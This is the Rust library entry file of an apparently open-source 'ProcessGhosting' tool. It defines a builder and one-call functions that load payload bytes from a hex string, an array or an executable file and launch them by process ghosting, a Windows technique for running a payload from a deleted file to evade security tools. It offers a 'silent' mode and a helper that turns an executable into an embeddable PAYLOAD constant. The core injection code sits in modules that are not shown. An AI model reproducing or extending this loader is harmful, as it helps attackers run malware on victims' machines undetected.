process_ghosting/
lib.rs

1//! ProcessGhosting Library by BlackTechX
2//! Process Ghosting Implementation in Rust
3
4mod ntapi;
5mod ghosting;
6
7pub use ghosting::{GhostingConfig, Architecture, execute_ghost_process};
8
9/// Library version
10pub const VERSION: &str = "1.0.0";
11/// Library author
12pub const AUTHOR: &str = "BlackTechX";
13
14/// Initialize the library and print banner
15pub fn init() {
16    println!("╔══════════════════════════════════════════════════╗");
17    println!("║       ProcessGhosting Library v{}             ║", VERSION);
18    println!("║       Author: {}                         ║", AUTHOR);
19    println!("╚══════════════════════════════════════════════════╝");
20    println!();
21}
22
23/// Configuration builder for the ghosting operation
24#[derive(Clone)]
25pub struct GhostingBuilder {
26    payload: Vec<u8>,
27    architecture: Architecture,
28    verbose: bool,
29}
30
31impl GhostingBuilder {
32    /// Create a new builder with the payload bytes
33    pub fn new(payload: &[u8]) -> Self {
34        Self {
35            payload: payload.to_vec(),
36            architecture: Architecture::X64,
37            verbose: true,
38        }
39    }
40
41    /// Create from hex array format: &[0x4D, 0x5A, 0x90, ...]
42    pub fn from_hex_array(hex_bytes: &[u8]) -> Self {
43        Self {
44            payload: hex_bytes.to_vec(),
45            architecture: Architecture::X64,
46            verbose: true,
47        }
48    }
49
50    /// Create from hex string like "4D5A90" or "4D 5A 90" or "0x4D, 0x5A, 0x90"
51    pub fn from_hex_string(hex_string: &str) -> Result<Self, String> {
52        let bytes = parse_hex_string(hex_string)?;
53        Ok(Self {
54            payload: bytes,
55            architecture: Architecture::X64,
56            verbose: true,
57        })
58    }
59
60    /// Create from a file path
61    pub fn from_file(file_path: &str) -> Result<Self, String> {
62        let payload = std::fs::read(file_path)
63            .map_err(|e| format!("Failed to read file: {}", e))?;
64        
65        Ok(Self {
66            payload,
67            architecture: Architecture::X64,
68            verbose: true,
69        })
70    }
71
72    /// Set the target architecture
73    pub fn architecture(mut self, arch: Architecture) -> Self {
74        self.architecture = arch;
75        self
76    }
77
78    /// Set x64 architecture
79    pub fn x64(mut self) -> Self {
80        self.architecture = Architecture::X64;
81        self
82    }
83
84    /// Set x86 architecture
85    pub fn x86(mut self) -> Self {
86        self.architecture = Architecture::X86;
87        self
88    }
89
90    /// Set verbose output
91    pub fn verbose(mut self, verbose: bool) -> Self {
92        self.verbose = verbose;
93        self
94    }
95
96    /// Enable verbose output
97    pub fn with_logging(mut self) -> Self {
98        self.verbose = true;
99        self
100    }
101
102    /// Disable verbose output (silent mode)
103    pub fn silent(mut self) -> Self {
104        self.verbose = false;
105        self
106    }
107
108    /// Build the configuration
109    pub fn build(self) -> GhostingConfig {
110        GhostingConfig {
111            payload: self.payload,
112            architecture: self.architecture,
113            verbose: self.verbose,
114        }
115    }
116
117    /// Execute the ghosting operation directly
118    pub fn execute(self) -> Result<(), String> {
119        let config = self.build();
120        execute_ghost_process(config)
121    }
122}
123
124// ============================================================================
125// Hex Conversion Utilities
126// ============================================================================
127
128/// Parse hex string in various formats:
129/// - "4D5A90" (continuous)
130/// - "4D 5A 90" (space separated)
131/// - "0x4D, 0x5A, 0x90" (C-style array)
132/// - "0x4D,0x5A,0x90" (C-style without spaces)
133/// - "\\x4D\\x5A\\x90" (escaped format)
134pub fn parse_hex_string(hex_string: &str) -> Result<Vec<u8>, String> {
135    let cleaned: String = hex_string
136        .replace("0x", "")
137        .replace("0X", "")
138        .replace("\\x", "")
139        .replace(",", "")
140        .replace(" ", "")
141        .replace("\n", "")
142        .replace("\r", "")
143        .replace("\t", "");
144    
145    if cleaned.len() % 2 != 0 {
146        return Err("Invalid hex string length".to_string());
147    }
148
149    let bytes: Result<Vec<u8>, _> = (0..cleaned.len())
150        .step_by(2)
151        .map(|i| u8::from_str_radix(&cleaned[i..i + 2], 16))
152        .collect();
153
154    bytes.map_err(|_| "Failed to parse hex string".to_string())
155}
156
157/// Read an executable file and return hex bytes as formatted string
158/// Format: "0x4D, 0x5A, 0x90, ..."
159pub fn exe_to_hex_string(file_path: &str) -> Result<String, String> {
160    let bytes = std::fs::read(file_path)
161        .map_err(|e| format!("Failed to read file: {}", e))?;
162    
163    Ok(bytes_to_hex_string(&bytes))
164}
165
166/// Convert bytes to hex string format: "0x4D, 0x5A, 0x90, ..."
167pub fn bytes_to_hex_string(bytes: &[u8]) -> String {
168    bytes
169        .iter()
170        .map(|b| format!("0x{:02X}", b))
171        .collect::<Vec<String>>()
172        .join(", ")
173}
174
175/// Read an executable file and return hex bytes as formatted string with line breaks
176/// Format suitable for code: 16 bytes per line
177pub fn exe_to_hex_array(file_path: &str) -> Result<String, String> {
178    let bytes = std::fs::read(file_path)
179        .map_err(|e| format!("Failed to read file: {}", e))?;
180    
181    Ok(bytes_to_hex_array(&bytes))
182}
183
184/// Convert bytes to hex array format with line breaks (16 bytes per line)
185pub fn bytes_to_hex_array(bytes: &[u8]) -> String {
186    let mut result = String::new();
187    result.push_str("[\n");
188    
189    for (i, chunk) in bytes.chunks(16).enumerate() {
190        result.push_str("    ");
191        for (j, byte) in chunk.iter().enumerate() {
192            result.push_str(&format!("0x{:02X}", byte));
193            if i * 16 + j < bytes.len() - 1 {
194                result.push_str(", ");
195            }
196        }
197        result.push('\n');
198    }
199    
200    result.push(']');
201    result
202}
203
204/// Read exe file and return raw bytes
205pub fn read_exe_bytes(file_path: &str) -> Result<Vec<u8>, String> {
206    std::fs::read(file_path)
207        .map_err(|e| format!("Failed to read file: {}", e))
208}
209
210/// Print exe as hex to console
211pub fn print_exe_hex(file_path: &str) -> Result<(), String> {
212    let hex = exe_to_hex_string(file_path)?;
213    println!("// File: {}", file_path);
214    println!("// Size: {} bytes", std::fs::metadata(file_path)
215        .map_err(|e| format!("Failed to get file info: {}", e))?.len());
216    println!();
217    println!("const PAYLOAD: &[u8] = &[");
218    
219    let bytes = std::fs::read(file_path)
220        .map_err(|e| format!("Failed to read file: {}", e))?;
221    
222    for (i, chunk) in bytes.chunks(16).enumerate() {
223        print!("    ");
224        for (j, byte) in chunk.iter().enumerate() {
225            print!("0x{:02X}", byte);
226            if i * 16 + j < bytes.len() - 1 {
227                print!(", ");
228            }
229        }
230        println!();
231    }
232    
233    println!("];");
234    Ok(())
235}
236
237// ============================================================================
238// Quick Execution Functions
239// ============================================================================
240
241/// Quick execution with default settings (x64, verbose)
242pub fn ghost_payload(payload: &[u8]) -> Result<(), String> {
243    init();
244    GhostingBuilder::new(payload)
245        .x64()
246        .with_logging()
247        .execute()
248}
249
250/// Quick execution from hex string
251pub fn ghost_payload_hex(hex_string: &str) -> Result<(), String> {
252    init();
253    GhostingBuilder::from_hex_string(hex_string)?
254        .x64()
255        .with_logging()
256        .execute()
257}
258
259/// Quick execution from file
260pub fn ghost_payload_file(file_path: &str) -> Result<(), String> {
261    init();
262    GhostingBuilder::from_file(file_path)?
263        .x64()
264        .with_logging()
265        .execute()
266}
267
268/// Quick execution with architecture selection
269pub fn ghost_payload_arch(payload: &[u8], arch: Architecture) -> Result<(), String> {
270    init();
271    GhostingBuilder::new(payload)
272        .architecture(arch)
273        .with_logging()
274        .execute()
275}
276
277#[cfg(test)]
278mod tests {
279    use super::*;
280
281    #[test]
282    fn test_hex_parsing_continuous() {
283        let result = parse_hex_string("4D5A9000");
284        assert!(result.is_ok());
285        assert_eq!(result.unwrap(), vec![0x4D, 0x5A, 0x90, 0x00]);
286    }
287
288    #[test]
289    fn test_hex_parsing_with_spaces() {
290        let result = parse_hex_string("4D 5A 90 00");
291        assert!(result.is_ok());
292        assert_eq!(result.unwrap(), vec![0x4D, 0x5A, 0x90, 0x00]);
293    }
294
295    #[test]
296    fn test_hex_parsing_c_style() {
297        let result = parse_hex_string("0x4D, 0x5A, 0x90, 0x00");
298        assert!(result.is_ok());
299        assert_eq!(result.unwrap(), vec![0x4D, 0x5A, 0x90, 0x00]);
300    }
301
302    #[test]
303    fn test_hex_parsing_escaped() {
304        let result = parse_hex_string("\\x4D\\x5A\\x90\\x00");
305        assert!(result.is_ok());
306        assert_eq!(result.unwrap(), vec![0x4D, 0x5A, 0x90, 0x00]);
307    }
308
309    #[test]
310    fn test_bytes_to_hex() {
311        let bytes = vec![0x4D, 0x5A, 0x90];
312        let hex = bytes_to_hex_string(&bytes);
313        assert_eq!(hex, "0x4D, 0x5A, 0x90");
314    }
315
316    #[test]
317    fn test_architecture_setting() {
318        let config = GhostingBuilder::new(&[0x4D, 0x5A])
319            .x86()
320            .build();
321        assert_eq!(config.architecture, Architecture::X86);
322
323        let config = GhostingBuilder::new(&[0x4D, 0x5A])
324            .x64()
325            .build();
326        assert_eq!(config.architecture, Architecture::X64);
327    }
328}